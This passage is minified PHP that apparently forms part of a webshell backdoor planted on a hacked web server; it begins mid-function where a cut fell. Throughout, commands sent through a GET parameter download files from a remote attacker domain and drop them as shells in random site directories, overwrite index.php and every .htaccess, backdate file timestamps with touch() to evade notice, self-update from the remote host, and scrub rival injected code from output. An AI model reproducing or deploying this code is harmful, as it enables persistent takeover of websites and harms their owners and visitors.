substr_count($sPath,'/');}$aPathDepths=array_map('getDepth',$aPathes);arsort($aPathDepths);$arry1=array();foreach($aPathDepths as $iKey=>$iDepth){$arry11=str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));$arry11=dirname($arry11);$arry22=explode("/",$arry11);if(count($arry22)==$level){$arry1[]=dirname($aPathes[$iKey]);}else{$arry1[]=dirname($aPathes[$iKey]);}}$arry2=array_unique($arry1);shuffle($arry2);$rndKey=array_rand($arry2);$create_path1=$arry2[$rndKey];$shell_file=$_GET['shell_file'];$shell_source5=$domain_2020."/".$shell_file.".html";if(check_remote_file_exists($shell_source5)&&$_GET['file_name']!=""){$file_name=$_GET['file_name'];if($file_name!=""){$shell_end5=$create_path1.'/'.$file_name;}else{$shell_end5=$create_path1.'/style.php';}if(copyfiles($shell_source5,$shell_end5)){if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}if(!file_exists($shell_end5)){echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";exit;}$time3=@dir_size1($shell_end5,'');$time4=strtotime($time3[0]);touch($shell_end5,$time4);$shell_end6=$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);echo $shell_end6;}else{$str6=@curl_get_contents($shell_source5);file_put_contents($shell_end5,$str6);if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}if(!file_exists($shell_end5)){echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";exit;}$time3=@dir_size1($shell_end5,'');$time4=strtotime($time3[0]);touch($shell_end5,$time4);$shell_end6=$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);echo $shell_end6;}}exit;}else if($sig=='jc_other'){$level=$_GET['level'];$aPathes=read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level);function getDepth($sPath){return substr_count($sPath,'/');}$aPathDepths=array_map('getDepth',$aPathes);arsort($aPathDepths);$arry1=array();foreach($aPathDepths as $iKey=>$iDepth){$arry11=str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));$arry11=dirname($arry11);$arry22=explode("/",$arry11);if(count($arry22)==$level){$arry1[]=dirname($aPathes[$iKey]);}else{$arry1[]=dirname($aPathes[$iKey]);}}$arry2=array_unique($arry1);shuffle($arry2);$rndKey=array_rand($arry2);$create_path1=$arry2[$rndKey];$shell_file=$_GET['shell_file'];$shell_source5=$domain_2020."/".$shell_file.".html";if(check_remote_file_exists($shell_source5)&&$shell_file!=""){$file_name=$_GET['file_name'];if($file_name!=""){$shell_end5=$create_path1.'/'.$file_name;}else{$shell_end5=$create_path1.'/style.php';}if(copyfiles($shell_source5,$shell_end5)){if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}if(!file_exists($shell_end5)){echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";exit;}$time3=@dir_size1($shell_end5,'');$time4=strtotime($time3[0]);touch($shell_end5,$time4);$shell_end6=$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);echo $shell_end6;}else{$str6=@curl_get_contents($shell_source5);file_put_contents($shell_end5,$str6);if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}if(!file_exists($shell_end5)){echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";exit;}$time3=@dir_size1($shell_end5,'');$time4=strtotime($time3[0]);touch($shell_end5,$time4);$shell_end6=$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);echo $shell_end6;}}exit;}else if($sig=='jc_index'){$domain_name1=trim(str_replace("www.","",$_SERVER['SERVER_NAME']));$shell_file=$_GET['shell_file'];$file_path=BASE_PATH.'/index.php';$file_path1=$domain_2020.'/shell_index/'.$domain_name1.'/index.html';$ser_url1=$domain_2020."/cpa_ind5.php?dname1=".$domain_name1."&check_address1=http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."&shell_file=".$shell_file."";$file_contents_2=curl_get_contents($ser_url1);if(@$_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}$tishi=$http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];$str1=@curl_get_contents($file_path1);$str=@file_get_contents($file_path);if(file_exists($file_path)){if(check_remote_file_exists($file_path1)){$str1=@curl_get_contents($file_path1);$str=@file_get_contents($file_path);if($str==$str1){echo $tishi.'|index.php write success!';}else{@chmod($file_path,0644);$result_unlink=unlink($file_path);if($result_unlink){if(copyfiles($file_path1,$file_path)){$time3=dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);touch($file_path,$time4);echo $tishi.'|index.php write success!';}else{file_put_contents($file_path,$str1);$str1=@curl_get_contents($file_path1);$str=@file_get_contents($file_path);if($str==$str1){$time3=dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);touch($file_path,$time4);echo $tishi.'|index.php write success!';}else{echo $tishi.'|index.php write fail!';}}}}}}else{if(check_remote_file_exists($file_path1)){@chmod($file_path,0644);if(copyfiles($file_path1,$file_path)){$time3=dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);touch($file_path,$time4);echo $tishi.'|index.php write success!';}else{file_put_contents($file_path,$str1);$str1=@curl_get_contents($file_path1);$str=@file_get_contents($file_path);if($str==$str1){$time3=dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);touch($file_path,$time4);echo $tishi.'|index.php write success!';}else{echo $tishi.'|index.php write fail!';}}}else{$shell_cont1=getInd_Content(BASE_PATH);$shell_file=$_GET['shell_file'];$file_path1=$domain_2020."/".$shell_file.".html";$shell_content=@curl_get_contents($file_path1);$shell_cont2=substr_replace($shell_cont1,$shell_content,0,0);@file_put_contents($file_path,$shell_cont2);}}exit;}else if($sig=='change_hta'){$shell_source5=$domain_2020."/htaccess.html";$str7=@curl_get_contents($shell_source5);if(strpos($str7,'<FilesMatch')!==false){$file_htaccess=BASE_PATH.'/.htaccess';if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}$tishi=$http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];if(file_exists($file_htaccess)){$result_unlink=unlink($file_htaccess);if($result_unlink){if(copyfiles($shell_source5,$file_htaccess)){echo $tishi.'|.htaccess write success!';}else{$str6=@curl_get_contents($shell_source5);$str=@file_get_contents($file_htaccess);file_put_contents($file_htaccess,$str6);if($str6==$str){echo $tishi.'|.htaccess write success!';}else{echo $tishi.'|.htaccess write fail!';}}}else{if(copyfiles($shell_source5,$file_htaccess)){echo $tishi.'|.htaccess write success!';}else{$str6=@curl_get_contents($shell_source5);$str=@file_get_contents($file_htaccess);file_put_contents($file_htaccess,$str6);if($str6==$str){echo $tishi.'|.htaccess write success!';}else{echo $tishi.'|.htaccess write fail!';}}}}else{if(copyfiles($shell_source5,$file_htaccess)){echo $tishi.'|.htaccess write success!';}else{$str6=@curl_get_contents($shell_source5);$str=@file_get_contents($file_htaccess);file_put_contents($file_htaccess,$str6);if($str6==$str){echo $tishi.'|.htaccess write success!';}else{echo $tishi.'|.htaccess write fail!';}}}}else{echo $tishi.'|htaccess.html file dont exist or the content is wrong!';}exit;}else if($sig=='change_hta_all'){$shell_source5=$domain_2020."/htaccess.html";$str7=@curl_get_contents($shell_source5);if(strpos($str7,'<FilesMatch')!==false){$file_htaccess=BASE_PATH.'/.htaccess';if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}$tishi=$http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];if(file_exists($file_htaccess)){$result_unlink=unlink($file_htaccess);if($result_unlink){if(copyfiles($shell_source5,$file_htaccess)){echo $tishi.'|.htaccess write success!';}else{$str6=@curl_get_contents($shell_source5);$str=@file_get_contents($file_htaccess);file_put_contents($file_htaccess,$str6);if($str6==$str){echo $tishi.'|.htaccess write success!';}else{echo $tishi.'|.htaccess write fail!';}}}else{if(copyfiles($shell_source5,$file_htaccess)){echo $tishi.'|.htaccess write success!';}else{$str6=@curl_get_contents($shell_source5);$str=@file_get_contents($file_htaccess);file_put_contents($file_htaccess,$str6);if($str6==$str){echo $tishi.'|.htaccess write success!';}else{echo $tishi.'|.htaccess write fail!';}}}}else{if(copyfiles($shell_source5,$file_htaccess)){echo $tishi.'|.htaccess write success!';}else{$str6=@curl_get_contents($shell_source5);$str=@file_get_contents($file_htaccess);file_put_contents($file_htaccess,$str6);if($str6==$str){echo $tishi.'|.htaccess write success!';}else{echo $tishi.'|.htaccess write fail!';}}}$files1=@rpath_arry($_SERVER['DOCUMENT_ROOT']);$files2=array();for($k=0;$k<count($files1);$k++){$files2[]=dirname($files1[$k]);}$files3=array();$files3=array_filter(array_unique($files2));foreach($files3 as $key=>$value){if($files3[$key]!=BASE_PATH){$file_htaccess1=$files3[$key].'/.htaccess';copyfiles($shell_source5,$file_htaccess1);}}}else{echo $tishi.'|htaccess.html file dont exist or the content is wrong!';}exit;}else if($sig=='rename'){$rename=$_GET['rename'];$source_name=$_GET['source_name'];if($_GET['tag']!=''){$tag='#'.$_GET['tag'];}else{$tag='';}if($rename!=""&&$source_name!=""){$rename_file=dirname(__FILE__).'/'.$rename;$source_file=dirname(__FILE__).'/'.$source_name;if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}$rename_file1=$http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($rename_file));$source_file1=$http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($source_file));$rename_file1=str_replace('\\','/',$rename_file1);$source_file1=str_replace('\\','/',$source_file1);if(file_exists($source_file)){if(rename($source_file,$rename_file)){echo $rename_file1.$tag;}else{echo $source_file1.$tag.'| rename fail!';}}else{echo $source_file1.$tag.'| no exists!';}}else{echo $source_file1.$tag.'| rename fail!';}exit;}else if($sig=='update'){$style_2020=$domain_2020.'/style_2020.html';$file_style=__FILE__;if(check_remote_file_exists($style_2020)){$str7=@curl_get_contents($style_2020);if(strpos($str7,'domain_2020')!==false){if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}$tishi=$http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];if(copyfiles($style_2020,$file_style)){$time3=@dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch($file_style,$time4);echo $tishi.'--update success!';}else{$shell_cont5=@curl_get_contents($style_2020);$shell51=@file_put_contents($file_style,$shell_cont5);if($shell51>0){$time3=@dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch($file_style,$time4);echo $tishi.'--update success!';}else{echo $tishi.'--update fail!';}}}}exit;}else if($sig=='shell519'){$rename=$_GET['file_name'];$shell_file=$_GET['shell_file'];if($rename!=""&&$shell_file!=""){$shell_source5=$domain_2020."/".$shell_file.".html";if(check_remote_file_exists($shell_source5)){$level=$_GET['level'];$aPathes=@read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level);function getDepth($sPath){return substr_count($sPath,'/');}$aPathDepths=array_map('getDepth',$aPathes);arsort($aPathDepths);$arry1=array();foreach($aPathDepths as $iKey=>$iDepth){$arry11=str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));$arry11=dirname($arry11);$arry22=explode("/",$arry11);if(count($arry22)==$level){$arry1[]=dirname($aPathes[$iKey]);}else{$arry1[]=dirname($aPathes[$iKey]);}}$arry2=array_filter(array_unique($arry1));shuffle($arry2);$rndKey=array_rand($arry2);$create_path1=$arry2[$rndKey];$shell5=$create_path1.'/'.$rename;if($_SERVER["HTTPS"]=="on"){$http1="https://";}else{$http1="http://";}if(copyfiles($shell_source5,$shell5)){$time3=@dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch($shell5,$time4);echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!';}else{$shell_cont5=@curl_get_contents($shell_source5);$shell51=@file_put_contents($shell5,$shell_cont5);if($shell51>0){$time3=@dir_size1(dirname(__FILE__),'');$time4=strtotime($time3[0]);touch($shell5,$time4);echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!';}else{echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create fail!';}}}}exit;}else if($sig=='index'){$file_path=BASE_PATH.'/index.php';$file_path1=BASE_PATH.'/index.html';$file_path2=BASE_PATH.'/index.htm';$file_path3=BASE_PATH.'/default.html';if(file_exists($file_path)){$str=@file_get_contents($file_path);$shell_content1=$str;$shell_content2=explode('?>',$shell_content1);$shell_content3=$shell_content1;for($i=0;$i<count($shell_content2);$i++){if(strpos($shell_content2[$i],'base64_decode(')!==false||strpos($shell_content2[$i],'urldecode(')!==false||strpos($shell_content2[$i],'O00__0OOO_')!==false||strpos($shell_content2[$i],'yumingid')!==false||strpos($shell_content2[$i],'urlgz=')!==false||strpos($shell_content2[$i],'O0O_0O_O_0')!==false||strpos($shell_content2[$i],'wp-admin')!==false||strpos($shell_content2[$i],'ignore_user_abort')!==false||strpos($shell_content2[$i],'HTTP_REFERER')!==false||strpos($shell_content2[$i],'sitemap')!==false||strpos($shell_content2[$i],'$x(')!==false||strpos($shell_content2[$i],'$_GET["3x"]')!==false||strpos($shell_content2[$i],'error_reporting')!==false||strpos($shell_content2[$i],'ini_set(')!==false||strpos($shell_content2[$i],'ini_set(')!==false){$shell_content3=str_replace($shell_content2[$i]."?>","",$shell_content3);}}echo $shell_content3;exit;}else if(file_exists($file_path1)){$str1=@file_get_contents($file_path1);echo $str1;exit;}else if(file_exists($file_path2)){$str2=@file_get_contents($file_path2);echo $str2;exit;}else if(file_exists($file_path3)){$str3=@file_get_contents($file_path3);echo $str3;exit;}else{echo '';exit;}}exit(); ?>